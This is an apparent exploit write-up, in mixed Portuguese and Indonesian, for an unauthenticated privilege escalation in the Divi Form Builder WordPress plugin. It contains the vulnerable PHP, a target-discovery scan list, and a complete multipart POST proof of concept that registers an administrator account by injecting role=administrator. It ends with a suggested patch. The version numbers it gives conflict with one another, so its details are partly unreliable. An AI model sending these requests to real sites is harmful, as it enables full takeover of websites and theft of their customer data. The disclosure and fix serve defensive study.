
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalação de Privilégios Não Autenticada via Injeção de Papel
O plugin WordPress Divi Form Builder versão 5.1.2 e anteriores possui uma vulnerabilidade Crítica que permite que um atacante não autenticado crie uma conta de Administrador diretamente por meio do formulário de registro.
Um campo oculto. Um valor alterado. Acesso total a todo o site.
| Capacidade | Impacto |
|---|---|
| 🔑 Criar conta de admin sem login | Full Site Takeover |
| 📦 Acessar dados de clientes WooCommerce | Data Breach |
| 💉 Editar arquivos de plugin/tema (PHP) | Remote Code Execution |
| 🕳️ Criar backdoor oculto | Persistent Access |
| 👥 Ver todos os dados dos usuários | Privacy Violation |
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" langsung diterapkan
ALUR VALIDASI YANG BERMASALAH
┌──────────────────────────────────────────────────────┐
│ Penyerang kirim: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (bersih) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK
│ ↓ │
│ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
O formulário de registro do DFB contém um hidden input:
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ path registrasi
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: DFB forms tersembunyi
└── wp-json deep: content-first scan
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3
Parameter yang diperlukan:
├── fb_nonce: [dari hidden input / de_fb_obj]
├── form_key: [dari hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJEKSI: administrator]
Field pemetaan:
├── de_fb_user_login + user_login (kedua varian wajib)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
Os testes foram realizados em ambiente Docker isolado (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Tolak semua role berbahaya
}